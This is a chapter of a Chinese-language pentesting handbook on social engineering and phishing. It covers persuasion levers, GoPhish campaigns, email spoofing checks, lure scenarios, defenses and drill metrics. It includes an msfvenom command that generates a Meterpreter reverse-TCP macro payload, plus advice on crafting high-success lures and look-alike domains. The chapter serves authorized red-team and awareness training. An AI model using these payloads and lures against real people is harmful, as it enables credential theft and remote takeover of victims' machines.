逆向工程实战手册 第 89 章

第 89 章 社会工程与钓鱼工程

社会工程(Social Engineering)= 攻击"人"而非"系统"——据统计,多数攻击链从人开始(钓鱼/社工)。本章覆盖社工原理、钓鱼工程全流程(GoPhish/克隆/诱饵)、邮件伪造、以及防御与教育。技术的最终入口往往是人的一次点击。

📍 知识点地图 | 主题:社工钓鱼 | 前置:第73章 | 后续:— | 核心概念:心理杠杆、GoPhish、邮件伪造、附件

89.1 社会工程原理(先懂心理机制)

社工的心理杠杆(Cialdini 影响力原则):
  权威(Authority): "我是 IT 部门的"
  紧迫(Urgency): "账户即将被锁定!立即处理"
  信任(Liking): 模仿/友好/共同点
  互惠(Reciprocity): 先给点好处
  从众(Social Proof): "大家都这么做了"
  稀缺(Scarcity): "只剩最后机会"

攻击流程(和渗透同构):
  侦察(目标信息)→ 诱饵(投递)→ 交互(引导)→ 达成(凭据/执行)

89.2 钓鱼类型(先分类)

按渠道:
  邮件钓鱼(Email Phishing): 最常见
  鱼叉(Spear): 针对个人定制(高成功率)
  鲸钓(Whaling): 针对高管
  SMS/短信钓鱼(Smishing)
  语音钓鱼(Vishing)
  水坑(Watering Hole): 污染目标常访问的网站
  Evil Twin(第 84 章): WiFi 钓鱼

按目标:
  凭据钓鱼(登录页)
  附件恶意文档(宏/漏洞文档)
  链接投递(恶意网站)
  BEC(商务邮件诈骗: 冒充 CEO 要求转账/发敏感数据)

89.3 钓鱼工程全流程(工程化)

1. 侦察: 目标员工/邮箱/组织结构(第 57.3 员工画像)
2. 平台: GoPhish(开源钓鱼平台)搭建
3. 克隆/构造: 克隆目标登录页/构造邮件模板
4. 投递: 邮件群发/定向(伪造发件人,第 89.4)
5. 追踪: GoPhish 记录点击/提交(谁点了/提交了什么)
6. 落地: 凭据收集/后续利用(第 62 章)
7. 报告: 点击率/提交率/受影响账号

GoPhish 使用:
  go gophish   # 启动(管理界面 + 发信)
  # 流程: Sending Profiles(发信配置)→ Landing Pages(钓鱼页)
  #       → Email Templates(邮件模板)→ Campaigns(活动)
  # 追踪: 打开率/点击率/凭据提交率

89.4 邮件伪造与投递(让邮件"可信")

伪造发件人(三种形态):
  1. 显示名伪装: 显示名 = 老板名字(邮箱地址真实可见差异)
  2. 相似域名: 用 google.com-evil.com 之类(肉眼难辨)
  3. 完整伪造: SPF/DKIM/DMARC 缺陷(第 73.6)→ 冒充任意域名

检查目标的邮件认证(投递前):
  dig TXT <domain>             # SPF
  dig TXT _dmarc.<domain>      # DMARC(none = 可伪造)
  dig TXT selector._domainkey.<domain>  # DKIM

对抗检测: 邮件头检查/内容分析/链接信誉

89.5 恶意附件(钓鱼的"执行"载荷)

形态:
  1. 恶意文档(Office 宏):
     诱导启用宏 → 执行 PowerShell 下载执行
  2. 漏洞文档(CVE 触发): 老版本 Office/PDF 漏洞
  3. 恶意 LNK/ISO/压缩包: 点击执行
  4. 双扩展名伪装: invoice.pdf.exe

制作(测试环境/授权):
  msfvenom -p windows/meterpreter/reverse_tcp LHOST=x LPORT=4444 \
    -f vba-psh -o payload.ps1    # 宏载荷
  # 嵌入 Word 宏(VBA Stomping 可对抗检测)

防护: 宏策略/附件沙箱/EDR(第 41 章对抗)

89.6 诱饵场景设计(成功率的关键)

高成功率场景(红队经验):
  □ 密码过期: "您的密码将于今天过期,请立即更新"(点→伪造登录页)
  □ 共享文档: "您的文件已共享,点击查看"(Google Docs 类伪装)
  □ 人事/薪酬: HR 主题(薪资调整/入职表格)
  □ 发票/付款: 财务主题(BEC)
  □ IT 通知: 邮件配额/安全警告(伪造 IT 部门)
  □ 快递/包裹: 物流通知(通用)

设计原则:
  □ 时机相关(周一早/季度末/事件后)
  □ 个性化(用目标真实姓名/部门)
  □ 少文字多按钮(减少阅读)
  □ 低期望成本("只需登录查看")

89.7 防御与教育(蓝队视角)

技术防御:
  □ 邮件安全网关(SPF/DKIM/DMARC 强制)
  □ 链接重写/沙箱(点击前检测)
  □ 附件沙箱分析
  □ 强 MFA(凭据被盗也难用)
  □ 异常转发/登录监控

人为防御(同样重要):
  □ 定期钓鱼演练(GoPhish 内部)
  □ 教育: 检查发件人/悬停链接/直接访问官网
  □ 报告文化: 报告可疑邮件不惩罚
  □ 双重确认: 转账/敏感操作的二次验证

89.8 钓鱼演练指标(衡量效果)

□ 打开率(邮件被打开比例)
□ 点击率(点击链接比例)
□ 提交率(提交凭据比例——最严重)
□ 报告率(主动上报可疑邮件的比例——防御质量!)
目标: 点击率下降 + 报告率上升 = 教育有效

89.9 社工/钓鱼检查清单

□ 目标侦察(人员/邮箱/习惯)
□ 场景设计(时机/个性化)
□ 平台搭建(GoPhish)
□ 邮件伪造(SPF/DMARC 评估)
□ 钓鱼页克隆(HTTPS+相似)
□ 追踪配置(点击/提交)
□ 落地衔接(凭据→横向)
□ 报告: 指标+受影响账号
□ 红线: 授权范围/不越界(第 64.7)

动手练习

  1. 用 GoPhish 在自己的测试域搭一个钓鱼演练(克隆一个登录页,追踪点击)。
  2. 分析一封真实钓鱼邮件(或公开样本)的邮件头,识别它的伪造技术。
  3. 用 msfvenom 生成一个宏载荷(授权测试环境),理解附件攻击形态。
  4. 设计 3 个高成功率诱饵场景(针对你熟悉的环境),说明为什么有效。

深入阅读

  • 仓库:skills/attack-chain/SKILL.md(钓鱼攻击阶段)
  • 仓库:CTF-Sandbox-Orchestrator/competition-mailbox-abuse/(邮件滥用)
  • 仓库:skills/attack-chain/references/attack-playbooks.md(钓鱼 playbook)
  • 外部: GoPhish 文档、SANS 社工课程、Cialdini 影响力原则